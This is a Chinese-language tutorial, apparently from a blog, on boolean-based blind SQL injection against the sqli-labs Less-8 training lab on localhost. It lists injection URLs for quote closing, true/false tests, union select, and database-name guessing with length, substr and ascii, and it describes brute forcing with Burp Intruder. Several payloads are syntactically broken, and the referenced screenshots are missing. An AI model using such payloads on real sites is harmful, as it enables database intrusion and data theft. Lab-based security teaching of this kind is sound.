SQL注入-布尔盲注
什么是盲注?
盲注,即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注 ;
以sqli-labs-8为例
1.
http://127.0.0.1/sqli-labs/less-8/?id=1
2.
http://127.0.0.1/sqli-labs/less-8/?id=1' 报错:说明'被带进去,参数可控 报错原因:输入的单引号与前面得单引号进行了闭合,导致原有后面的单引号变成了多余,而sql语句语法中引号必须成对出现。 认识:(既然我们输入什么程序就拼接什么,那我们就构造SQL语句将左单引号进行闭合。我们在1后面加上单引号,与左边得引号构成闭合,紧接着在拼接构造好的SQL语句,并注释掉后面得语句,就可以查询到我们想要查询得数据,这就是SQL注入) 加上--+(后面信息注释掉)没有报错 有闭合,说明它是字符型
3.
http://127.0.0.1/sqli-labs/less-8/?id=1' and 1=1--+ 没问题
4.
http://127.0.0.1/sqli-labs/less-8/?id=1' and 1=2--+ 报错,一定有SQL注入
5.
http://127.0.0.1/sqli-labs/less-8/?id=1' order by 3--+ 没问题 说明有三个查询可以
6.
使用union联合查询 http://127.0.0.1/sqli-labs/less-8/?id=1' union select 1,2,3--+ 记得id改成id = -1 http://127.0.0.1/sqli-labs/less-8/?id=-1' union select 1,2,3--+ 明明有SQL注入,页面还是没反应,碰到这种情况,对于布尔盲注
7.在and里面做下手
1http://127.0.0.1/sqli-labs/less-8/?id=1' and 1=1--+ 没问题
2.http://127.0.0.1/sqli-labs/less-8/?id=1' and 1=2--+
错误
改成
http://127.0.0.1/sqli-labs/less-8/?id=1' and length(database()<10)--+
<9有数据,<8没数据,说明长度等于8.
8.获取数据库长度之后,使用substr()函数。
http://127.0.0.1/sqli-labs/less-8/?id=1' and substr((database(),1,1)='a'--+
说明不等于a
9.第八步太过于繁琐,使用burosuite抓包工具。
10.发送到intruder模块,对参数进行爆破
-
将变量全部清掉
2.添加两个变量,如图
3.选择Cluster bomb
-
第一个payload测试
5.第二个payload测试
6.
11.
http://127.0.0.1/sqli-labs/less-8/?id =1' and ascii(substr(database()1,1))=115--+
12.
抓包,发送到intruder
第一个payload和上面一样
第二个payload,如图
13.最终结果